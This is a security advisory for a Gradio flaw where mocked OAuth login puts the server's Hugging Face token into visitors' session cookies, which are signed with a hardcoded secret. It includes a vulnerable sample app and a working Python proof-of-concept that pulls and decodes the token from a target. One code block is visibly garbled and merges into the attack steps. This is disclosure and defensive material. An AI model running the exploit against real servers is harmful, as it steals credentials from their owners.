GitHub Advisoryadvisory · PyPI
GHSA-h3h8-3v2v-rg7m Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
LOW
Official page ↗
- Aliases
- CVE-2026-27167
- Ecosystem
- PyPI
- Packages
- gradio
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
- Weaknesses
- CWE-522, CWE-798
- Reviewed
- 2026-03-01
Affected packages
• PyPI gradio: >= 4.16.0, < 6.6.0 → fixed in 6.6.0
Description
Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable.
Affected Component
`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.
Root Cause Analysis
1. Real token injected into every visitor's session
When Gradio detects it is not running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).
The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the real HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of any visitor who hits `/login/callback` (line 183):
```python
request.session["oauth_info"] = mocked_oauth_info
```
The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):
```python
return {
"access_token": token, # :7860/login/huggingface`
2. The server responds with a 307 redirect to `/login/callback`
3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token
4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`
Minimal Vulnerable Application
```python
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
```
Proof of Concept
```python
!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
```
Related
Alias · CVE (1)
- CVE-2026-27167 Gradio is an open-source Python package designed for quick prototyping. vulnerability
References
- https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m web
- https://nvd.nist.gov/vuln/detail/CVE-2026-27167 advisory
- https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e web
- https://github.com/gradio-app/gradio package
- https://github.com/gradio-app/gradio/releases/tag/[email protected] web
- https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml web